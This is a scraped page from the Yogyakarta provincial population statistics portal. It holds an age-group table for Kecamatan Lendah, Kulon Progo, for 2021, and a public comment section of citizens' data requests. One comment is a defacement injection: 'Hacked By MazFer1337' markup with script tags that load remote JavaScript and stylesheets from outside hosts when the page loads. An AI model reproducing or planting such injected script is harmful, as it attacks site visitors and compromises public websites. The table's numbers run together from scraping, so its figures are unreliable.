Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN LENDAH, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaWAHYUHARJOBUMIREJOJATIREJOSIDOREJOGULUREJONGENTAKREJOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun1920 399599 1948257 13910667 1737563 1389875 173475 381 856
2 tahun1912 315654 1104135 764747 944152 935241 93256 241 497
3 tahun912 216749 1164444 884853 1015749 1065236 88277 243 520
4 tahun817 255363 1165644 1005341 945661 1174238 80268 264 532
5 tahun139 226968 1373744 816153 1145653 1094149 90277 276 553
6 tahun1312 256356 1195137 887552 1276453 1174853 101314 263 577
7 tahun1411 257254 1263844 825158 1094943 925544 99279 254 533
8 tahun1316 297357 1304841 894553 986853 1215148 99298 268 566
9 tahun1313 268570 1555240 925561 1166554 1196859 127338 297 635
10 tahun1616 327169 1404652 985848 1066448 1124455 99299 288 587
11 tahun1920 396855 1234544 896454 1185669 1255564 119307 306 613
12 tahun1713 308171 1525753 1106155 1167449 1234944 93339 285 624
13 tahun1313 268768 1555651 1075754 1115840 986039 99331 265 596
14 tahun2014 346767 1343747 846153 1145343 965647 103294 271 565
15 tahun1416 305655 1113649 855657 1135253 1056948 117283 278 561
16 tahun96 156662 1283739 766155 1164951 1005940 99281 253 534
17 tahun2212 346057 1174744 914559 1045434 886465 129292 271 563
18 tahun717 246371 1346840 1085552 1074462 1066254 116299 296 595
19 tahun1315 287373 1465242 945961 1204848 965756 113302 295 597
20 tahun711 186548 1135356 1095055 1055252 1045154 105278 276 554
21 tahun1717 348267 1494451 955756 1135351 1046545 110318 287 605
22 tahun109 196357 1204039 795151 1024743 903548 83246 247 493
23 tahun1418 326658 1245641 976459 1233748 854646 92283 270 553
24 tahun1411 256354 1173959 986263 1255854 1124748 95283 289 572
25 tahun1012 226081 1414235 776449 1133339 724347 90252 263 515
26 tahun1510 257471 1454759 1067063 1334052 925066 116296 321 617
27 tahun1210 227270 1424338 815750 1075548 1035652 108295 268 563
28 tahun914 235963 1224943 925851 1095545 1004052 92270 268 538
29 tahun1014 246866 1344848 966345 1084253 954852 100279 278 557
30 tahun1216 286464 1283840 784241 833941 804445 89239 247 486
31 tahun2214 366066 1264046 864350 932951 805144 95245 271 516
32 tahun123 155865 1232748 753236 685345 982838 66210 235 445
33 tahun1115 266239 1014539 845660 1164954 1035154 105274 261 535
34 tahun1416 305756 1133852 905358 1114051 915346 99255 279 534
35 tahun1317 305455 1095446 1006462 1265348 1015055 105288 283 571
36 tahun1315 286571 1365655 1115273 1256450 1145160 111301 324 625
37 tahun1021 318475 1594455 995265 1176659 1256061 121316 336 652
38 tahun1917 367666 1425862 1208367 1505146 976057 117347 315 662
39 tahun1511 267063 1335238 906558 1236878 1465460 114324 308 632
40 tahun1213 256967 1366048 1087361 1345651 1075457 111324 297 621
41 tahun1716 335863 1215253 1057261 1336462 1265945 104322 300 622
42 tahun1116 277070 1404547 925154 1056668 1345958 117302 313 615
43 tahun1319 326072 1324755 1027366 1395354 1076658 124312 324 636
44 tahun186 246564 1294357 1004743 906359 1227040 110306 269 575
45 tahun1913 326866 1344957 1066050 1106553 1184557 102306 296 602
46 tahun1015 255459 1135353 1065441 955052 1025137 88272 257 529
47 tahun916 255560 1154843 915745 1024346 895444 98266 254 520
48 tahun107 175976 1355639 955153 1045744 1016362 125296 281 577
49 tahun1219 316142 1035553 1085758 1153247 794051 91257 270 527
50 tahun1212 245655 1115546 1015839 974349 925446 100278 247 525
51 tahun1515 308166 1474544 896161 1224855 1036556 121315 297 612
52 tahun1913 325376 1296550 1154542 877660 1366351 114321 292 613
53 tahun1413 277367 1404252 946261 1235658 1144840 88295 291 586
54 tahun812 205268 1204348 914557 1026448 1126039 99272 272 544
55 tahun2212 346863 1316050 1105963 1225758 1155353 106319 299 618
56 tahun1710 276052 1124638 845062 1124551 964951 100267 264 531
57 tahun1016 266861 1294350 935154 1055343 964262 104267 286 553
58 tahun1414 285658 1143842 803542 775449 1035568 123252 273 525
59 tahun514 194356 993852 903347 804445 894646 92209 260 469
60 tahun1614 306451 1154751 985654 1104857 1054556 101276 283 559
61 tahun1212 246567 1325051 1014660 1064458 1025170 121268 318 586
62 tahun158 235259 1113136 675348 1014144 853434 68226 229 455
63 tahun610 164249 914041 812938 672740 674444 88188 222 410
64 tahun917 263142 733651 873453 874141 824526 71196 230 426
65 tahun913 224555 1003632 684258 1004045 853135 66203 238 441
66 tahun612 183850 883141 725146 973427 613237 69192 213 405
67 tahun1313 263547 823626 623837 753625 613325 58191 173 364
68 tahun47 114144 853325 583036 662025 453028 58158 165 323
69 tahun74 113128 592737 641828 462427 511925 44126 149 275
70 tahun98 173541 762728 553244 762730 571917 36149 168 317
71 tahun69 153428 622331 542734 613027 571820 38138 149 287
72 tahun13 42830 582622 482132 531226 381215 27100 128 228
73 tahun24 61429 431414 281322 351515 301313 2671 97 168
74 tahun57 122432 561627 432015 35517 221516 3185 114 199
75 tahun59 142330 531122 331722 391422 361628 4486 133 219
76 tahun64 101720 371226 381825 43718 252524 4985 117 202
77 tahun65 111724 41719 261723 401416 30921 3070 108 178
78 tahun14 51820 382124 451617 331418 321117 2881 100 181
79 tahun14 5920 291610 261015 25916 25814 2253 79 132
80 ke atas2226 4878145 22379117 19677134 21194134 2287196 167421 652 1.073
Jumlah9589991.9574.6174.6459.2623.4453.5056.9504.0154.0468.0613.7523.7667.5183.7423.6677.409 20.529 20.628 41.157
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih